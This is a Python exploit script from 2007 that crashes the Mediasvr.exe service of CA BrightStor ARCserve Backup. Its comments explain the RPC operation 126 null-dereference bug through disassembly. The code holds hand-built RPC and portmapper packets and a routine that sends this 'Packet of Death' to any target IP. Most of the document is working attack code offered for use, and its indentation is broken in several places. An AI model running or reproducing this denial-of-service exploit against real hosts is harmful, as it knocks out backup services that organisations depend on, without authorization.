#!/usr/bin/python
#
# Computer Associates (CA) Brightstor Backup Mediasvr.exe DoS (catirpc.dll/rwxdr.dll)
# (Previously Unknown)
#
# There is an issue with RPC operation 126 and the imported cactirpc.dll
# and rwxdr.dll. It looks as if Mediasvr.exe identifies a Bad Job Handle
# as seen in its log file.
#
# Log Message:
# asms_manager_job_enumerate_devices_1_svc(): Bad Job Handle. 
#
# However, the process dies when trying to send an RPC response
# for the bad job handle. This is caused be a null memory dereference.
# Within cactirpc.dll, the xdr_rwpair function is called:
#
# Catirpc.dll:2E008A93 loc_2E008A93:                         
# Catirpc.dll:2E008A93 mov     ecx, [esi+10h]
# Catirpc.dll:2E008A96 push    ecx <- ECX is 0x0041B310 (nulls)
# Catirpc.dll:2E008A97 push    edi <- EDI is 0x009e2580 (nulls)
# Catirpc.dll:2E008A98 call    dword ptr [esi+14h] <-points to 0x2d6054f0
# Catirpc.dll:2E008A9B add     esp, 8     (rwxdr.dll:xdr_rwpair)
# Catirpc.dll:2E008A9E pop     edi
# Catirpc.dll:2E008A9F pop     esi
# Catirpc.dll:2E008AA0 pop     ebx
# Catirpc.dll:2E008AA1 retn
#
# rwxdr.dll:xdr_rwpair
# .text:2D6054F0 public xdr_rwpair
# .text:2D6054F0 xdr_rwpair proc near                   
# .text:2D6054F0   
# .text:2D6054F0 arg_0= dword ptr  4
# .text:2D6054F0 arg_4= dword ptr  8
# .text:2D6054F0
# .text:2D6054F0 push    ebx
# .text:2D6054F1 mov     ebx, [esp+4+arg_4] <---puts 0x0041B310
# .text:2D6054F5 push    esi
# .text:2D6054F6 push    edi
# .text:2D6054F7 mov     edi, [esp+0Ch+arg_0] <--- puts 0x009e2580
# .text:2D6054FB mov     esi, [ebx] <---- EBX is 0x00000000
# .text:2D6054FD mov     eax, [edi]     <---- EDI is 0x00000000
# .text:2D6054FF test    eax, eax
# .text:2D605501 jnz     short loc_2D605533
# .text:2D605503 mov     eax, [esi+4] <---- ESI is set to 0x00000000
#
# This was tested on BrightStor ARCserve Backup 11.5.2.0 (SP2) with the latest
# CA patches on Windows XP SP2
#
# CA has been notified
#
# Author: M. Shirk
#
# (c) Copyright 2007 (Shirkdog Security) shirkdog_list $ at % hotmail dot com
#
# Use at your own Risk: You have been warned
#------------------------------------------------------------------------

import os
import sys
import time
import socket
import struct

#------------------------------------------------------------------------

#Start of RPC Packet
rpc_packet="\x80\x00\x00\x5c\x6b\x9b\x72\xbc\x00\x00\x00\x00\x00\x00\x00\x02"

#Program ID, and Operation 126
rpc_packet+="\x00\x06\x09\x7e\x00\x00\x00\x01\x00\x00\x00\x7e"

#nulls after Operation
rpc_packet+="\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

#4 more bytes of junk (ALL HAIL BEEF)
rpc_packet+="\xde\xad\xbe\xef"

# Need to get the port Mediasvr.exe is listening on
rpc_portmap_req="\x80\x00\x00\x38\x21\x84\xf7\xc9\x00\x00\x00\x00\x00\x00\x00\x02\x00\x01\x86\xa0\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x09\x7e\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x00"

#------------------------------------------------------------------------

def ExploitMediaSvr(target,port):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target, port))
sock.send(rpc_packet)
   sock.close()
print '[+] Done...\n[+] Mediasvr.exe is dead\n[+] ... or it will die in a few seconds for you inpatient bastards\n'


def GetMediaSvrPort(target):
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((target,111))
sock.send(rpc_portmap_req)
rec = sock.recv(256)

port1 = rec[-4]
port2 = rec[-3]
port3 = rec[-2]
port4 = rec[-1]

port1 = hex(ord(port1))
port2 = hex(ord(port2))
port3 = hex(ord(port3))
port4 = hex(ord(port4))
port = '%02x%02x%02x%02x' % (int(port1,16),int(port2,16),int(port3,16),int(port4,16))

port = int(port,16)

print '[+] Sending TCP Packet of Death to Target: %s Port: %s' % (target,port)
ExploitMediaSvr(target,port)




if __name__=="__main__":
       try:
               target = sys.argv[1]
       except IndexError:
           print '[+] Computer Associates (CA) Brightstor Backup Mediasvr.exe DoS (catirpc.dll/rwxdr.dll)'
       print '[+] Author: Shirkdog'
               print '[+] Usage: %s <target ip>\n' % sys.argv[0]
               sys.exit(-1)

       print '[+] Computer Associates (CA) Brightstor Backup Mediasvr.exe DoS (catirpc.dll/rwxdr.dll)'
       print '[+] Author: Shirkdog'

       GetMediaSvrPort(target)